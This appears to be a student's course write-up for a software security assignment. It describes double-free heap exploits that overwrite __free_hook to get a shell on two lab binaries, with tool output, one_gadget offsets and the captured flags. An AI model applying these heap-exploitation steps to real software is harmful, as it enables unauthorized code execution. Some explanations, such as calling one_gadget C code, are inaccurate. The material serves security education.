SSE Assignment-4

Akshat Soni(CS23M010)

The techniques used to exploit both the challenges

Challenge 1:

In this challenge, our objective is to leverage a double-free exploit against a statically linked program to gain access to a shell.
Our goal is to open a shell using heap exploits. The file **sectok.c** contains a **binsh** function. Our aim is to directly execute that **binsh** function. To achieve this, we use a function pointer that points to the **binsh** function, and by calling that pointer, we can enable the execution of the **binsh** function, ultimately leading to obtaining a shell.
The pointer that we use is **__free_hook** function points to the **free()** function itself. However, users can redefine **__free_hook** to point to a custom function. When a memory block is deallocated using `free()`, the custom function pointed to by **__free_hook** is invoked instead of the standard `free()` function.

```
sse@sse_vm:~/Downloads/Assign4/cs6570_assignment_4_password_1234$ python3 q1.py
[*] '/home/sse/Downloads/Assign4/cs6570_assignment_4_password_1234/sectok'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/sse/Downloads/Assign4/cs6570_assignment_4_password_1234/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 10.21.232.3 on port 10101: Done
[*] Switching to interactive mode
$ ls
flag
run
$ cat flag
SSE24{fr33_cyc1ing_0n_th3_h34p}
```

Use 'cat Flag' on the shell to retrieve the flag value.

The tcachebin is entirely filled to handle unaligned data detection, the next critical step in the double free exploit is to add chunks to tcache and two additional chunk in fastbins. Subsequently, we initiate the freeing process, beginning with the release of the seven chunks from the tcachebin, followed by the release of the two chunks from the fastbins. The exploit sequence involves freeing the chunk at **index 7**, followed by the chunk at **index 8**, and then again the chunk at **index 7**, which is already freed. This action causes the chunk at index 7 to point to the chunk at index 8, while the chunk at index 8 points back to the chunk at index 7. Following this manipulation, we once more fill the tcachebin to its capacity. At this stage, we load the address of **__free_hook** into a pointer. Finally, we add two more chunks with garbage values to the fastbins. This setup positions the pointer to the **__free_hook** address, where we expect to find the address of the binsh function.Now when we free any element we got the shell

Challenge 2:

In this challenge, objective is also leverage a double-free exploit same as previous but we deals with a dynamically linked program to gain access to a shell ,as we seen in `sectok_libc` file there is no binsh explicit function.

```
sse@sse_vm:~/Downloads/Assign4/cs6570_assignment_4_password_1234$ one_gadget libc.so.6
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
```

Using `one_gadget` to get execve binsh gadget address in lib.so.6

We use the famous One Gadget tool, which is a line of C code used to get the offset of the execve function. The one gadget becomes **execve("/bin/sh", 0, 0)** only if the constraints are satisfied. In order to know the address of the gadget in the memory, we need the base address of the libc file in the memory: **the gadget's memory address = the libc file's memory base address + the offset of the gadget within the libc file**.

```
sse@sse_vm:~/Downloads/Assign4/cs6570_assignment_4_password_1234$ python3 q2.py
[*] '/home/sse/Downloads/Assign4/cs6570_assignment_4_password_1234/sectok'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/sse/Downloads/Assign4/cs6570_assignment_4_password_1234/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 10.21.232.3 on port 20202: Done
[*] Switching to interactive mode
$ ls
flag
run
$ cat flag
SSE24{cycl1ing_t0_th3_t0p_0f_l1bc_b4s3}
$
```

Use 'cat Flag' on the shell to retrieve the flag value.

After executing **one_gadget lib.so.6**, we got four different offsets for **__free_hook**. So, we use hit-and-trial to find the correct 'execve' address that opens a shell. In the end, we use cat flag to get the flag.